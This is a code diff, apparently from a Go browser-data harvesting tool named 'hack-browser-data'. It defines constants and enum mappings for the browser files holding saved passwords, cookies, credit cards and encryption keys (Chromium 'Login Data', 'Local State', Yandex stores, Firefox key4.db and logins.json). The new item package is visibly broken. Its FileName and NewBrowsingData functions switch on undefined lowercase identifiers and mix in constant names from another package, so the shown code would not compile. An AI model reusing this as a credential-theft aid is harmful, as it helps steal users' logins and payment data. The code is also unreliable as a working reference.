| 	ChromiumDownload     = "History" | ||||
| 	ChromiumCookie       = "Cookies" | ||||
| 	ChromiumBookmark     = "Bookmarks" | ||||
| 	ChromiumLocalStorage = "chromiumLocalStorage" | ||||
| 
 | ||||
| 	YandexPassword = "Ya PassMan Data" | ||||
| 	YandexCredit   = "Ya Credit Cards" | ||||
| 
 | ||||
| 	FirefoxKey4     = "key4.db" | ||||
| 	FirefoxCookie   = "cookies.sqlite" | ||||
| 	FirefoxPassword = "logins.json" | ||||
| 	FirefoxData     = "places.sqlite" | ||||
| 
 | ||||
| 	UnknownItem     = "unknown item" | ||||
| 	UnsupportedItem = "unsupported item" | ||||
| ) | ||||
| 
 | ||||
| // item's renamed filename
 | ||||
| const ( | ||||
| 	ChromiumKeyFilename          = "ChromiumKeyFilename" | ||||
| 	ChromiumCreditFilename       = "ChromiumCreditFilename" | ||||
| 	ChromiumPasswordFilename     = "ChromiumPasswordFilename" | ||||
| 	ChromiumHistoryFilename      = "ChromiumHistoryFilename" | ||||
| 	ChromiumDownloadFilename     = "ChromiumDownloadFilename" | ||||
| 	ChromiumCookieFilename       = "ChromiumCookieFilename" | ||||
| 	ChromiumBookmarkFilename     = "ChromiumBookmarkFilename" | ||||
| 	ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename" | ||||
| 
 | ||||
| 	YandexPasswordFilename = "YandexPasswordFilename" | ||||
| 	YandexCreditFilename   = "YandexCreditFilename" | ||||
| 
 | ||||
| 	FirefoxKey4Filename     = "FirefoxKey4DBFilename" | ||||
| 	FirefoxCookieFilename   = "FirefoxCookieFilename" | ||||
| 	FirefoxPasswordFilename = "FirefoxPasswordFilename" | ||||
| 	FirefoxDownloadFilename = "FirefoxDownloadFilename" | ||||
| 	FirefoxHistoryFilename  = "FirefoxHistoryFilename" | ||||
| 	FirefoxBookmarkFilename = "FirefoxBookmarkFilename" | ||||
| 	FirefoxDataFilename     = "FirefoxDataFilename" | ||||
| ) | ||||
| @ -1 +0,0 @@ | ||||
| package consts | ||||
| @ -0,0 +1 @@ | ||||
| package firefox | ||||
| @ -1,166 +0,0 @@ | ||||
| package browser | ||||
| 
 | ||||
| import ( | ||||
| 	"hack-browser-data/internal/browser/consts" | ||||
| 	data2 "hack-browser-data/internal/browser/data" | ||||
| ) | ||||
| 
 | ||||
| type item int | ||||
| 
 | ||||
| const ( | ||||
| 	chromiumKey item = iota | ||||
| 	chromiumPassword | ||||
| 	chromiumCookie | ||||
| 	chromiumBookmark | ||||
| 	chromiumHistory | ||||
| 	chromiumDownload | ||||
| 	chromiumCreditCard | ||||
| 	chromiumLocalStorage | ||||
| 	chromiumExtension | ||||
| 
 | ||||
| 	yandexPassword | ||||
| 	yandexCreditCard | ||||
| 
 | ||||
| 	firefoxKey4 | ||||
| 	firefoxPassword | ||||
| 	firefoxCookie | ||||
| 	firefoxBookmark | ||||
| 	firefoxHistory | ||||
| 	firefoxDownload | ||||
| 	firefoxCreditCard | ||||
| 	firefoxLocalStorage | ||||
| 	firefoxExtension | ||||
| ) | ||||
| 
 | ||||
| func (i item) DefaultName() string { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return consts.ChromiumKey | ||||
| 	case chromiumPassword: | ||||
| 		return consts.ChromiumPassword | ||||
| 	case chromiumCookie: | ||||
| 		return consts.ChromiumCookie | ||||
| 	case chromiumBookmark: | ||||
| 		return consts.ChromiumBookmark | ||||
| 	case chromiumDownload: | ||||
| 		return consts.ChromiumDownload | ||||
| 	case chromiumLocalStorage: | ||||
| 		return consts.ChromiumLocalStorage | ||||
| 	case chromiumCreditCard: | ||||
| 		return consts.ChromiumCredit | ||||
| 	case chromiumExtension: | ||||
| 		return consts.UnknownItem | ||||
| 	case chromiumHistory: | ||||
| 		return consts.ChromiumHistory | ||||
| 	case yandexPassword: | ||||
| 		return consts.YandexPassword | ||||
| 	case yandexCreditCard: | ||||
| 		return consts.YandexCredit | ||||
| 	case firefoxKey4: | ||||
| 		return consts.FirefoxKey4 | ||||
| 	case firefoxPassword: | ||||
| 		return consts.FirefoxPassword | ||||
| 	case firefoxCookie: | ||||
| 		return consts.FirefoxCookie | ||||
| 	case firefoxBookmark: | ||||
| 		return consts.FirefoxData | ||||
| 	case firefoxDownload: | ||||
| 		return consts.FirefoxData | ||||
| 	case firefoxLocalStorage: | ||||
| 		return consts.UnsupportedItem | ||||
| 	case firefoxCreditCard: | ||||
| 		return consts.UnsupportedItem | ||||
| 	case firefoxHistory: | ||||
| 		return consts.FirefoxData | ||||
| 	case firefoxExtension: | ||||
| 		return consts.UnsupportedItem | ||||
| 	default: | ||||
| 		return consts.UnknownItem | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i item) FileName() string { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return consts.ChromiumKeyFilename | ||||
| 	case chromiumPassword: | ||||
| 		return consts.ChromiumPasswordFilename | ||||
| 	case chromiumCookie: | ||||
| 		return consts.ChromiumCookieFilename | ||||
| 	case chromiumBookmark: | ||||
| 		return consts.ChromiumBookmarkFilename | ||||
| 	case chromiumDownload: | ||||
| 		return consts.ChromiumDownloadFilename | ||||
| 	case chromiumLocalStorage: | ||||
| 		return consts.ChromiumLocalStorageFilename | ||||
| 	case chromiumCreditCard: | ||||
| 		return consts.ChromiumCreditFilename | ||||
| 	case chromiumHistory: | ||||
| 		return consts.ChromiumHistoryFilename | ||||
| 	case chromiumExtension: | ||||
| 		return consts.UnsupportedItem | ||||
| 	case yandexPassword: | ||||
| 		return consts.ChromiumPasswordFilename | ||||
| 	case yandexCreditCard: | ||||
| 		return consts.ChromiumCreditFilename | ||||
| 	case firefoxKey4: | ||||
| 		return consts.FirefoxKey4Filename | ||||
| 	case firefoxPassword: | ||||
| 		return consts.FirefoxPasswordFilename | ||||
| 	case firefoxCookie: | ||||
| 		return consts.FirefoxCookieFilename | ||||
| 	case firefoxBookmark: | ||||
| 		return consts.FirefoxBookmarkFilename | ||||
| 	case firefoxDownload: | ||||
| 		return consts.FirefoxDownloadFilename | ||||
| 	case firefoxLocalStorage: | ||||
| 		return consts.UnsupportedItem | ||||
| 	case firefoxCreditCard: | ||||
| 		return consts.UnsupportedItem | ||||
| 	case firefoxHistory: | ||||
| 		return consts.FirefoxHistoryFilename | ||||
| 	case firefoxExtension: | ||||
| 		return consts.UnsupportedItem | ||||
| 	default: | ||||
| 		return consts.UnknownItem | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i item) NewBrowsingData() data2.BrowsingData { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return nil | ||||
| 	case chromiumPassword: | ||||
| 		return &data2.ChromiumPassword{} | ||||
| 	case chromiumCookie: | ||||
| 		return &data2.ChromiumCookie{} | ||||
| 	case chromiumBookmark: | ||||
| 		return &data2.ChromiumBookmark{} | ||||
| 	case chromiumDownload: | ||||
| 		return &data2.ChromiumDownload{} | ||||
| 	case chromiumLocalStorage: | ||||
| 		return nil | ||||
| 	case chromiumCreditCard: | ||||
| 		return &data2.ChromiumCreditCard{} | ||||
| 	case chromiumExtension: | ||||
| 		return nil | ||||
| 	case chromiumHistory: | ||||
| 		return &data2.ChromiumHistory{} | ||||
| 	case yandexPassword: | ||||
| 		return &data2.ChromiumPassword{} | ||||
| 	case yandexCreditCard: | ||||
| 		return &data2.ChromiumCreditCard{} | ||||
| 	case firefoxPassword: | ||||
| 		return &data2.FirefoxPassword{} | ||||
| 	case firefoxCookie: | ||||
| 		return &data2.FirefoxCookie{} | ||||
| 	case firefoxBookmark: | ||||
| 		return &data2.FirefoxBookmark{} | ||||
| 	case firefoxDownload: | ||||
| 		return &data2.FirefoxDownload{} | ||||
| 	case firefoxHistory: | ||||
| 		return &data2.FirefoxHistory{} | ||||
| 	default: | ||||
| 		return nil | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1,47 @@ | ||||
| package item | ||||
| 
 | ||||
| // item's default filename
 | ||||
| const ( | ||||
| 	FileChromiumKey          = "Local State" | ||||
| 	FileChromiumCredit       = "Web Data" | ||||
| 	FileChromiumPassword     = "Login Data" | ||||
| 	FileChromiumHistory      = "History" | ||||
| 	FileChromiumDownload     = "History" | ||||
| 	FileChromiumCookie       = "Cookies" | ||||
| 	FileChromiumBookmark     = "Bookmarks" | ||||
| 	FileChromiumLocalStorage = "chromiumLocalStorage" | ||||
| 
 | ||||
| 	FileYandexPassword = "Ya PassMan Data" | ||||
| 	FileYandexCredit   = "Ya Credit Cards" | ||||
| 
 | ||||
| 	FileFirefoxKey4     = "key4.db" | ||||
| 	FileFirefoxCookie   = "cookies.sqlite" | ||||
| 	FileFirefoxPassword = "logins.json" | ||||
| 	FileFirefoxData     = "places.sqlite" | ||||
| 
 | ||||
| 	FileUnknownItem     = "unknown item" | ||||
| 	FileUnsupportedItem = "unsupported item" | ||||
| ) | ||||
| 
 | ||||
| // item's renamed filename
 | ||||
| const ( | ||||
| 	TempChromiumKey          = "TempChromiumKey" | ||||
| 	TempChromiumCredit       = "TempChromiumCredit" | ||||
| 	TempChromiumPassword     = "TempChromiumPassword" | ||||
| 	TempChromiumHistory      = "TempChromiumHistory" | ||||
| 	TempChromiumDownload     = "TempChromiumDownload" | ||||
| 	TempChromiumCookie       = "TempChromiumCookie" | ||||
| 	TempChromiumBookmark     = "TempChromiumBookmark" | ||||
| 	TempChromiumLocalStorage = "TempChromiumLocalStorage" | ||||
| 
 | ||||
| 	TempYandexPassword = "TempYandexPassword" | ||||
| 	TempYandexCredit   = "TempYandexCredit" | ||||
| 
 | ||||
| 	TempFirefoxKey4     = "TempFirefoxKey4" | ||||
| 	TempFirefoxCookie   = "TempFirefoxCookie" | ||||
| 	TempFirefoxPassword = "TempFirefoxPassword" | ||||
| 	TempFirefoxDownload = "TempFirefoxDownload" | ||||
| 	TempFirefoxHistory  = "TempFirefoxHistory" | ||||
| 	TempFirefoxBookmark = "TempFirefoxBookmark" | ||||
| 	TempFirefoxData     = "TempFirefoxData" | ||||
| ) | ||||
| @ -0,0 +1,165 @@ | ||||
| package item | ||||
| 
 | ||||
| import ( | ||||
| 	data2 "hack-browser-data/internal/browser/data" | ||||
| ) | ||||
| 
 | ||||
| type Item int | ||||
| 
 | ||||
| const ( | ||||
| 	ItemChromiumKey Item = iota | ||||
| 	ItemChromiumPassword | ||||
| 	ItemChromiumCookie | ||||
| 	ItemChromiumBookmark | ||||
| 	ItemChromiumHistory | ||||
| 	ItemChromiumDownload | ||||
| 	ItemChromiumCreditCard | ||||
| 	ItemChromiumLocalStorage | ||||
| 	ItemChromiumExtension | ||||
| 
 | ||||
| 	ItemYandexPassword | ||||
| 	ItemYandexCreditCard | ||||
| 
 | ||||
| 	ItemFirefoxKey4 | ||||
| 	ItemFirefoxPassword | ||||
| 	ItemFirefoxCookie | ||||
| 	ItemFirefoxBookmark | ||||
| 	ItemFirefoxHistory | ||||
| 	ItemFirefoxDownload | ||||
| 	ItemFirefoxCreditCard | ||||
| 	ItemFirefoxLocalStorage | ||||
| 	ItemFirefoxExtension | ||||
| ) | ||||
| 
 | ||||
| func (i Item) DefaultName() string { | ||||
| 	switch i { | ||||
| 	case ItemChromiumKey: | ||||
| 		return ChromiumKey | ||||
| 	case ItemChromiumPassword: | ||||
| 		return ChromiumPassword | ||||
| 	case ItemChromiumCookie: | ||||
| 		return ChromiumCookie | ||||
| 	case ItemChromiumBookmark: | ||||
| 		return ChromiumBookmark | ||||
| 	case ItemChromiumDownload: | ||||
| 		return ChromiumDownload | ||||
| 	case ItemChromiumLocalStorage: | ||||
| 		return ChromiumLocalStorage | ||||
| 	case ItemChromiumCreditCard: | ||||
| 		return ChromiumCredit | ||||
| 	case ItemChromiumExtension: | ||||
| 		return UnknownItem | ||||
| 	case ItemChromiumHistory: | ||||
| 		return ChromiumHistory | ||||
| 	case ItemYandexPassword: | ||||
| 		return YandexPassword | ||||
| 	case ItemYandexCreditCard: | ||||
| 		return YandexCredit | ||||
| 	case ItemFirefoxKey4: | ||||
| 		return FirefoxKey4 | ||||
| 	case ItemFirefoxPassword: | ||||
| 		return FirefoxPassword | ||||
| 	case ItemFirefoxCookie: | ||||
| 		return FirefoxCookie | ||||
| 	case ItemFirefoxBookmark: | ||||
| 		return FirefoxData | ||||
| 	case ItemFirefoxDownload: | ||||
| 		return FirefoxData | ||||
| 	case ItemFirefoxLocalStorage: | ||||
| 		return UnsupportedItem | ||||
| 	case ItemFirefoxCreditCard: | ||||
| 		return UnsupportedItem | ||||
| 	case ItemFirefoxHistory: | ||||
| 		return FirefoxData | ||||
| 	case ItemFirefoxExtension: | ||||
| 		return UnsupportedItem | ||||
| 	default: | ||||
| 		return UnknownItem | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i Item) FileName() string { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return TempChromiumKey | ||||
| 	case chromiumPassword: | ||||
| 		return TempChromiumPassword | ||||
| 	case chromiumCookie: | ||||
| 		return ChromiumCookieFilename | ||||
| 	case chromiumBookmark: | ||||
| 		return ChromiumBookmarkFilename | ||||
| 	case chromiumDownload: | ||||
| 		return ChromiumDownloadFilename | ||||
| 	case chromiumLocalStorage: | ||||
| 		return ChromiumLocalStorageFilename | ||||
| 	case chromiumCreditCard: | ||||
| 		return TempChromiumCredit | ||||
| 	case chromiumHistory: | ||||
| 		return TempChromiumHistory | ||||
| 	case chromiumExtension: | ||||
| 		return UnsupportedItem | ||||
| 	case yandexPassword: | ||||
| 		return TempChromiumPassword | ||||
| 	case yandexCreditCard: | ||||
| 		return TempChromiumCredit | ||||
| 	case firefoxKey4: | ||||
| 		return FirefoxKey4Filename | ||||
| 	case firefoxPassword: | ||||
| 		return FirefoxPasswordFilename | ||||
| 	case firefoxCookie: | ||||
| 		return FirefoxCookieFilename | ||||
| 	case firefoxBookmark: | ||||
| 		return FirefoxBookmarkFilename | ||||
| 	case firefoxDownload: | ||||
| 		return FirefoxDownloadFilename | ||||
| 	case firefoxLocalStorage: | ||||
| 		return UnsupportedItem | ||||
| 	case firefoxCreditCard: | ||||
| 		return UnsupportedItem | ||||
| 	case firefoxHistory: | ||||
| 		return FirefoxHistoryFilename | ||||
| 	case firefoxExtension: | ||||
| 		return UnsupportedItem | ||||
| 	default: | ||||
| 		return UnknownItem | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i Item) NewBrowsingData() data2.BrowsingData { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return nil | ||||
| 	case chromiumPassword: | ||||
| 		return &data2.ChromiumPassword{} | ||||
| 	case chromiumCookie: | ||||
| 		return &data2.ChromiumCookie{} | ||||
| 	case chromiumBookmark: | ||||
| 		return &data2.ChromiumBookmark{} | ||||
| 	case chromiumDownload: | ||||
| 		return &data2.ChromiumDownload{} | ||||
| 	case chromiumLocalStorage: | ||||
| 		return nil | ||||
| 	case chromiumCreditCard: | ||||
| 		return &data2.ChromiumCreditCard{} | ||||
| 	case chromiumExtension: | ||||
| 		return nil | ||||
| 	case chromiumHistory: | ||||
| 		return &data2.ChromiumHistory{} | ||||
| 	case yandexPassword: | ||||
| 		return &data2.ChromiumPassword{} | ||||
| 	case yandexCreditCard: | ||||
| 		return &data2.ChromiumCreditCard{} | ||||
| 	case firefoxPassword: | ||||
| 		return &data2.FirefoxPassword{} | ||||
| 	case firefoxCookie: | ||||
| 		return &data2.FirefoxCookie{} | ||||
| 	case firefoxBookmark: | ||||
| 		return &data2.FirefoxBookmark{} | ||||
| 	case firefoxDownload: | ||||
| 		return &data2.FirefoxDownload{} | ||||
| 	case firefoxHistory: | ||||
| 		return &data2.FirefoxHistory{} | ||||
| 	default: | ||||
| 		return nil | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1 @@ | ||||
| package item | ||||
					Loading…
					
					
				
		Reference in new issue